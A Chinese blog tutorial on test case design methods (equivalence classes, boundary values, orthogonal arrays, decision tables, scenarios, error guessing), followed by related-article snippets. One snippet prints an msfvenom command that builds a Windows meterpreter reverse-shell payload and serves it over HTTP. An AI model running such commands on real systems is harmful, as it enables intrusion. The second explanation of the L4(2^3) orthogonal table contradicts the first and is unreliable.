软件测试——用例篇(下)

news2024/12/24 11:26:50

 基于需求的设计⽅法

基于需求的设计⽅法也是总的设计测试⽤例的⽅法,在⼯作中,

我们需要参考需求⽂档/产品规格说明书来设计测试⽤例。测试⼈员接到需求之后,

要对需求进⾏分析和验证,从合理的需求中进⼀步分析细化需求,

从细化的需求中找出测试点,根据这些测试点再去设计测试⽤例。

具体的设计⽅法

等价类

依据需求将输⼊(特殊情况下会考虑输出)划分为若⼲个等价类,从等价类中选出⼀个测试⽤例,如果这个测试⽤例测试通过,则认为所代表的等价类测试通过,这样就可以⽤较少的测试⽤例达到尽量多的功能覆盖,解决了不能穷举测试的问题。

⽣活中等价类的案例:

原则上讲,⽼师应该依据每个学⽣⾃⾝的情况,指定符合的学习⽅案.但是实际上学⽣太多⽼师管不过来,只能分成⼏类:优等⽣强调知识⾯的扩展和综合能⼒的提升;中等⽣强调夯实基础,查缺补漏;差等⽣强调优先掌握重点,暂时跳过难点...
思路:输⼊的集合是⽆穷的,不能全都覆盖到

等价类分类:
• 有效等价类:对于程序的规格说明书是合理的、有意义的输⼊数据构成的集合,利⽤有效等价类验
证程序是否实现了规格说明中所规定的功能和性能
• ⽆效等价类:根据需求说明书,不满⾜需求的集合。

根据等价类设计测试⽤例的⽅式:
1.确定有效等价类和⽆效等价类
2.编写测试⽤例,设计具体测试数据

例:

假设我们有一个输入年龄的功能,要求用户输入年龄在 0 到 120 之间。可以将输入数据划分为以下等价类:

  1. 有效年龄范围的等价类

    • 有效类:0 到 120 之间的年龄。例如:25岁、60岁。
  2. 无效年龄范围的等价类

    • 小于下限的无效类:小于0的年龄。例如:-5岁。
    • 大于上限的无效类:大于120的年龄。例如:130岁。

缺点:等价类只考虑输⼊域的分类,没有考虑输⼊域的组合,需要其他的设计⽅法和补充。

边界值

边界值分析法就是对输⼊或输出的边界值进⾏测试的⼀种⿊盒测试⽅法。通常边界值分析法是作为对等价类划分法的补充,这种情况下,其测试⽤例来⾃等价类的边界。

边界值包含:边界值+次边界值
1.输⼊框⻓度为1-11,取边界值为:1、11、12、0
2.运动员的参赛项⽬为1-3项,取边界值为:0项、1项、3项、4项
3.查询⾯⻚⾯有999⾏,每50⾏为⼀⻚,取边界值为:输出0⾏、1⾏、50⾏、51⾏、999⾏

例:

正交法

正交法的⽬的是为了减少⽤例数⽬。⽤尽量少的⽤例覆盖输⼊的两两组合。

正交试验设计(Orthogonal?experimentaldesign)是研究多因素多⽔平的⼀种设计⽅法,它是根据正交性,由试验因素的全部⽔平组合中挑选出部分有代表性的点进⾏试验,通过对这部分试验结果的分析了解全⾯试验的情况,找出最优的⽔平组合。正交试验设计是⼀种基于正交表的、⾼效率、快速、经济的试验。

正交表:
如图最简单的正交表是L(4)(2(3)),含意如下:“L”代表正交表;L下⻆的数字“4”表⽰有4横⾏,
简称⾏,即要做四次试验;括号内的指数“3”表⽰有3纵列,简称列,即最多允许安排的因素是3
个;括号内的数“2”表⽰表的主要部分只有2?种数字,即因素有两种⽔平1与2。

在正交表的表示中,L(4)(2(3)) 是一种特定的正交表的标记方式。它描述了正交表的结构,包括因素的水平、因素的数量以及实验的行数。下面是对这个表示法的解释:

  • L: 表示正交表的类型或形式。通常是 L 字母表示正交表。

  • 4: 这是正交表的总行数(即实验的总次数),通常被称为“实验运行数”。在这里,正交表包含 4 行,表示需要进行 4 次实验。

  • 2(3): 这是对因素及其水平的描述。具体来说:

    • 2 表示正交表中有 2 个因素。
    • (3) 表示每个因素都有 3 个水平(例如,每个因素有 3 种不同的取值)。

因此,𝐿(4)(2(3))L(4)(2(3)) 表示这是一个正交表,有 4 行(即进行 4 次实验),并且有 2 个因素,每个因素都有 3 个不同的水平。

正交表的构成:因素数、⽔平数、⾏数。
因素:对指标的影响条件,通常是正交表中的⼀列。
⽔平:因素对应的可选项。

正交表的性质:
• 每⼀列中,不同的数字出现的次数相等。
• 任意两列中数字的排列⽅式⻬全⽽且均衡

根据正交表的性质,⼀般⼈很难通过⼿动设计出正交表,
正交法设计测试⽤例的步骤:
1. 找到因素和⽔平
2. ⽤allparis⼯具⽣成正交表
a. 将因素和⽔平写⼊Excel表格中
b. allparis⽬录下创建新的⽂本⽂件new.txt,复制Excel中的因素和⽔平,直接粘贴到⽂本中保存并退出
c. 使⽤allparis命令⽣成正交表:allparis.exe new.txt>zhengjiao.txt
3. 根据正交表编写测试⽤例
4. 补充遗漏的重要测试⽤例

注意:使⽤allparis⽣成的正交表和预期有出⼊,但是不影响我们⽤来设计测试⽤例。

判定表法


判定表是⼀种表达逻辑判断的⼯具,形如:

通过该图,可以把所有条件对应的结果清晰的表达出来。我们就需要借助该表来清晰的写出测试⽤例。
根据判定表法设计测试⽤例的步骤:
1. 确认需求中输⼊条件和输出条件
2. 找出输⼊条件和输出条件之间的关系
3. 画判定表
4. 根据判定表编写测试⽤例

场景法

现在的软件⼏乎都是⽤事件触发来控制流程的,事件触发时的情景便形成了场景,⽽同⼀事件不同的触发顺序和处理结果就形成事件流。

通过运⽤场景来对系统的功能点或业务流程的描述,从⽽提⾼测试效果的⼀种⽅法。

⽤例场景来测试需求是指模拟特定场景边界发⽣的事情,

通过事件来触发某个动作的发⽣,

观察事件的最终结果,从⽽⽤来发现需求中存在的问题。

我们通常以正常的⽤例场景分析开始,然后再着⼿其他的场景分析。
场景法⼀般包含基本流和备⽤流,从⼀个流程开始,通过描述经过的路径来确定的过程,

经过遍历所有的基本流和备⽤流来完成整个场景。场景主要包括4种主要的类型:

正常的⽤例场景,备选的⽤例场景,异常的⽤例场景,假定推测的场景。

读完上⾯的概念是不是⼀脸懵,场景法就是⼀个常规的流程中,某些阶段可能会出现⼀些意想不到的情况,常规流程是基本流,从阶段中分析出来的不同情况被称之为备选流。

该⽅法可以⽐较⽣动地描绘出事件触发时的情景,有利于测试设计者设计测试⽤例,是测试⽤例更容易理解和执⾏。

根据场景法设计测试⽤例的步骤
1.确定基本流
2.确定备选流
3.根据备选流补充测试⽤例
4.编写测试⽤例

错误猜测法

错误猜测法是对被测试软件设计的理解,过往经验以及个⼈直觉,推测出软件可能存在的缺陷,从⽽针对性地设计测试⽤例的⽅法。
这个⽅法强调的是对被测试软件的需求理解以及设计实现的细节把握,还有个⼈的经验和直觉。
错误推测法和⽬前流⾏的“探索式测试⽅法”的基本思想⼀致,这类⽅法在敏捷开发模式下的投⼊产
出⽐很⾼,被⼴泛应⽤于测试。

当我们⼀提到某个⾮常熟悉的⼈的名字,脑海会⽴刻浮现对他的评价
“武⼤郎”:憨厚,⽼实,为⼈坦诚,乐于助⼈
“潘⾦莲”:美丽,“温柔”,“疼爱丈夫”,“善于交友”,“精通制⾐”
张三要去卖⽠

⽤例1:张三这⼈不实诚,⼩⼼他缺⽄少两
⽤例2:张三这⼈粗⼼,⼩⼼他的⽠被压坏了
⽤例3:张三这⼈⼩⽓,⼩⼼不要把他惹哭了

这个⽅法的缺点是难以系统化,并且过度依赖个⼈能⼒。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972316.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

参加过奥运会的名人和一些几乎参加奥运会的名人 有很多是我们熟悉的人

Facebook创始人也参加过奥运会并获得名次 英国皇室安妮公主和伊丽莎白二世女王的外孙女扎拉廷德尔参加过奥运会 很多我们熟悉的演员也参加过奥运会的选拔 凯特琳詹纳、扎拉廷德尔、科迪辛普森、杰西卡斯普林斯汀 莱昂内尔梅西、迈克尔菲尔普斯、塞雷娜威廉姆斯和勒布朗詹姆斯…

MySQL —— 初始数据库

数据库概念 在学习数据库之前,大家保存数据要么是在程序运行期间,例如:在学习编程语言的时候,大家写过的管理系统,运用一些简单的数据结构(例如顺序表)来组织数据,可是程序一旦结束…

【图像处理】好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗?

好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗? 图片来源:论文《PULSE:Self-Supervised Photo Upsampling via Latent Space Exploration of Generative Models》 使用非常低分辨率照片和视频恢复人像高清照片的桥段&…

【前端 · 面试 】HTTP 总结(一)—— HTTP 概述

最近我在做前端面试题总结系列,感兴趣的朋友可以添加关注,欢迎指正、交流。 前端面试http总结.002.jpeg 概念 HTTP 的全称是 Hyper Text Transfer Protocol,翻译过来就是“超文本传输协议”。 HTTP 是一个简单的请求-响应协议,它通…

MSF回弹木马windows测试

windows主机地址为192.168.104.133 kali系统中使用msfvenom命令生成windows系统的回弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.104.131 LPORT12345 -f exe -o shellreverse.exe使用python3 -m http.server 9999来传递文件到windows主机中 msfco…

代码随想录算法训练营第四十九天| 42. 接雨水 、84.柱状图中最大的矩形

42. Trapping Rain Water 双指针暴力解法: 每一列雨水的高度,取决于,该列 左侧最高的柱子和右侧最高的柱子中最矮的那个柱子的高度,即: min(lHeight, rHeight) - height class Solution:def trap(self, height):if l…

华杉研发九学习日记23 多线程

华杉研发九学习日记23 java多线程 一, 线程 1.1 进程 进程就是一个程序运行的标志,是程序运行的状态。 一个正在运行的程序就是一个进程。进程是操作系统资源分配(计算资源,比如CPU,存储:内存)的最小单…

Day5

BootStrap 这个玩意可以理解为,已经写好的css样式的封装。 在开发中,如果需要用到这个, 首先得下载下来 找到官网,Bootstrap中文网 (bootcss.com) 这里我下载的是最新版的v5, 解压后,把该文件夹放进项目…

计算机三级嵌入式笔记(四)——嵌入式系统软件

目录 考点1 嵌入式软件的特点 考点2 嵌入式系统的软件结构 考点3 硬件抽象层与板级支持包 考点4 引导加载程序 考点5 嵌入式系统的设备驱动程序 考点6 实时系统与实时操作系统 考点7 嵌入式操作系统概述 考点8 Linux 内核 考点9 嵌入式 Linux 操作系统 考点10 Androi…

C语言自定义类型结构体与位段超详解

文章目录 1. 结构体类型的声明1. 1 结构体声明1. 2 结构体变量的创建和初始化1. 3 结构体的特殊声明1. 3 结构体的自引用 2. 结构体内存对齐2. 1 对齐规则2. 2 为什么存在内存对齐2. 3 修改默认对齐数 3. 结构体传参4. 结构体实现位段4. 1 什么是位段4. 2 位段成员的内存分配4.…

centos7 中安装 mysql 8.x以及对数据库的管理(数据库、表的增删改查、插入删除数据)

Day 16 centos7 中安装 mysql 8.x 1.下载安装包 [rootmysql~]#wget https://downloads.mysql.com/archives/get/p/23/file/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar 2.解压 tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar [rootmysql ~]# ls anaconda-ks.cfg mys…

美业收银系统【客户管理】的重要作用|美业门店管理系统Java源码、系统演示

美业系统中的客户管理功能可以起到多种作用,包括但不限于以下几点: 1.客户档案管理: 记录客户的个人信息、偏好、消费记录等,便于了解客户需求,提供个性化的服务和推荐。 2.预约和排队管理: 帮助美业从…

探索Netty框架的核心构件

Netty是一个高性能、异步事件驱动的网络应用程序框架,用于快速开发可维护的高性能、高可靠性的网络服务器和客户端程序。本文将深入探讨Netty框架的基本组件,帮助开发者更好地理解和使用这一强大的工具。 1. 事件循环(EventLoop)…

告别繁琐,AI助你轻松制作PPT!2024四大工具推荐

PPT是现代商务和教育领域中不可或缺的工具。然而,制作一份高质量的PPT往往需要花费大量的时间和精力。AI PPT制作工具的出现可以很好地解决这一问题。下面为大家推荐几个AI PPT制作工具。 笔灵AIPPT:智能设计,一键生成 链接:htt…

Stable Diffusion绘画 | 文生图设置详解(二)

提示词引导系统(CFG Scale) 这里的参数,是用来控制 SD 是否严格按照输入的提示词来生成画面 CFG值越小,对 SD 的约束程度就越低,AI 会加入更多想法💡,CFG7是一个平衡值 CFG值越大,对…

STL——栈和队列和优先队列

栈和队列和优先队列 概述std::堆栈核心函数和操作成员函数示例注意事项 std::队列核心函数和操作成员函数示例注意事项 std::优先队列底层实现原理效率分析deque双端队列原理块结构:指针管理&am…

【Pytorch】一文向您详细介绍 torch.sign()

🎉🧠**【Pytorch】一文向您详细介绍 torch.sign()** 下滑即可查看博客内容 🌈 欢迎莅临我的个人主页 👈这里是我静心耕耘深度学习领域、真诚分享知识与智慧的小天地!🎇 🎓 博主简介&#xff…

Java高级

类变量/静态变量package com.study.static_; 通过static关键词声明,是该类所有对象共享的对象,任何一个该类的对象去访问他的时候,取到的都是相同的词,同样任何一个该类的对象去修改,所修改的也是同一个对象. 如何定义及访问? 遵循相关访问权限 访问修饰符 static 数据类型…

Day3

首先是模板语句的学习。 在学习之前,我们得搞清楚为什么要学它以及学它有什么用。 Django模板语句,使得网页内容可以动态地从数据库中加载,而不是静态地写在HTML文件中。这样,当你需要更新网站信息时,只需更改模板或…

【Spark计算引擎----第二篇(RDD):一篇文章带你清楚什么是RDD?RDD的概念,RDD的特性,怎么创建一个RDD,RDD的算子】

前言: 💞💞大家好,我是书生♡,本阶段和大家一起分享和探索大数据技术Spark—RDD,本篇文章主要讲述了:RDD的概念,RDD的特性,怎么创建一个RDD,RDD的算子等等。欢…